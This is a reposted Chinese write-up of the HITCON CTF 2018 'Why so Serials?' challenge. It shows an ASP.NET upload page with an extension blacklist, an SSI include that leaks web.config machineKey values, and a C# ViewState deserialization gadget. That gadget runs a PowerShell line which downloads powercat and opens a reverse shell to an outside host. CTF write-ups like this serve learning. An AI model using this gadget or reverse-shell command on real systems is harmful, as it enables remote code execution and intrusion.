HITCON CTF 2018 - Why so Serials? Writeup

栏目: ASP.NET · 发布时间: 6年前

内容简介:Why so Serials?Shell plz!13.115.118.60

Description

Why so Serials?

Shell plz!

13.115.118.60

Author: orange

1 Team solved.

解题思路

题目给出了源代码

<%@ Page Language="C#" %>
<script runat="server">
    protected void Button1_Click(object sender, EventArgs e) {
        if (FileUpload1.HasFile) {
            try {
                System.Web.HttpContext context = System.Web.HttpContext.Current;
                String filename = FileUpload1.FileName;
                String extension = System.IO.Path.GetExtension(filename).ToLower();
                String[] blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"};
                if (blacklists.Any(extension.Contains)) {
                    Label1.Text = "What do you do?";
                } else {
                    String ip = context.Request.ServerVariables["REMOTE_ADDR"];
                    String upload_base = Server.MapPath("/") + "files/" + ip + "/";
                    if (!System.IO.Directory.Exists(upload_base)) {
                        System.IO.Directory.CreateDirectory(upload_base);
                    }

                    filename = Guid.NewGuid() + extension;
                    FileUpload1.SaveAs(upload_base + filename);

                    Label1.Text = String.Format("<a href='files/{0}/{1}'>This is file</a>", ip, filename);
                }
            }
            catch (Exception ex)
            {
                Label1.Text = "ERROR: " + ex.Message.ToString();
            }
        } else {
            Label1.Text = "You have not specified a file.";
        }
    }
</script>

<!DOCTYPE html>
<html>
<head runat="server">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" type="text/css" href="bootstrap.min.css">
    <title>Why so Serials?</title>
</head>
<body>
  <div class="container">
    <div class="jumbotron" style='background: #f7f7f7'>
        <h1>Why so Serials?</h1>
        <p>May the <b><a href='Default.aspx.txt'>source</a></b> be with you!</p>
        <br />
        <form id="form1" runat="server">
            <div class="input-group">
                <asp:FileUpload ID="FileUpload1" runat="server" class="form-control"/>
                <span class="input-group-btn">
                    <asp:Button ID="Button1" runat="server" OnClick="Button1_Click" 
                 Text="GO" class="btn"/>
                </span>
            </div>
            <br />
            <br />
            <br />
            <div class="alert alert-primary text-center">
                <asp:Label ID="Label1" runat="server"></asp:Label>
            </div>
        </form>
    </div>
  </div>
</body>
</html>

首先, 可以尝试上传文件, 发现大部分C#会执行其中代码的文件类型都已经被删除了, 安装个IIS看一下还有什么东西可以利用的,

HITCON CTF 2018 - Why so Serials? Writeup

HITCON CTF 2018 - Why so Serials? Writeup

发现列表中并没有禁用 .stm , .shtm.shtml 三种文件格式, 于是我们可以通过这个两种文件来进行SSI(Server Side Include), 从而读取web.config

HITCON CTF 2018 - Why so Serials? Writeup

编写代码读取web.config

<!-- test.shtml -->
<!--#include file="/web.config" -->

上传, 访问即可读取其中内容, 发现并没有flag

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off"/>
    <machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" />
</system.web>
</configuration>

尝试执行命令, 提示 The CMD option is not enabled for #EXEC calls

根据题目名字, why so serials, 怀疑是不是有神奇的asp.net相关的反序列化漏洞, google搜索 asp.net deserialization vulnerability

发现 https://github.com/pwntester/ysoserial.net

在找页面中哪里有可利用的反序列化的点的时候, View Source发现一个奇怪的 __ViewState 参数

解码ViewState的网站

通过了解这个ViewState参数( 参考链接 ).

我们知道了 __ViewState 会进行反序列化操作, 参考 ysoserial.net 的反序列化生成的操作, 我们来魔改一下提供给我们的 Default.aspx , 生成带着payload的ViewState以及签名(记得新建web.config, 把之前读web.config放进去哦~)

魔改后的代码(仅给出了需要魔改的地方, 具体怎么加, 请自行脑补):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Collections.Generic" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Linq" %>
protected void Button2_Click(object sender, EventArgs e) {
            Delegate da = new Comparison<string>(String.Compare);
            Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
            IComparer<string> comp = Comparer<string>.Create(d);
            SortedSet<string> set = new SortedSet<string>(comp);
            set.Add("cmd");
            set.Add("/c " + "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c reverse.lvm.me -p 6666 -e cmd");

            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = d.GetInvocationList();
            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(d, invoke_list);
            ViewState["test"] = set;
    }
<asp:Button ID="Button2" runat="server" OnClick="Button2_Click" 
                    Text="TEST" class="btn"/>

我们在这里面新增了一个 Button2 以及处理其点击事件的函数 Button2_Click , 在点击后, 向 ViewState 中添加通过反序列化执行命令的代码.

点击我们新增的按钮, 查看代码, 就可以看到我们新生成的ViewState及签名了!

HITCON CTF 2018 - Why so Serials? Writeup

F12, 把题目中的 __VIEWSTATE__EVENTVALIDATION 都改成我们生成的那个, 之后再随便上传个什么东西

HITCON CTF 2018 - Why so Serials? Writeup

成功弹到shell

HITCON CTF 2018 - Why so Serials? Writeup

flag 在 c盘根目录下

HITCON CTF 2018 - Why so Serials? Writeup

后记

做题的时候遇到的反序列化漏洞有PHP, Python, JAVA写的, 这是第一次在比赛中见到在.Net中利用反序列化这个点的, 还顺便了解了一下ViewState以及其反序列化的工作原理, 还有那个用来生成payload的库.

最后膜一下Orange师傅的题目. 简直太6了...我等菜鸡不敢说话.jpg

参考资料

  1. https://github.com/pwntester/ysoserial.net
  2. 解码ViewState的网站
  3. 参考链接
  4. ViewState使用兼谈序列化

以上所述就是小编给大家介绍的《HITCON CTF 2018 - Why so Serials? Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创业小败局

创业小败局

创业家、i黑马 / 时代华文书局 / 2014-8-1 / 42.00元

让别人的失败,成为你的成功之母! 《创业小败局》由徐小平、何伯权等六位经验丰富的业界大佬,从《创业家》五年来跟踪的数千个创业案例中,精心挑选而来。21个最具代表性的失败案例,每个案例都代表了一种最常见的失败规律,也基本上覆盖了当下中国创业浪潮中,最容易遭遇的创业陷阱。失 败是有规律的。有时候创业者的选择和 行为,必然会导致失败,但当事人却因为缺乏经验而没有察觉。比如在错误心态下引入错误的合伙......一起来看看 《创业小败局》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

URL 编码/解码
URL 编码/解码

URL 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具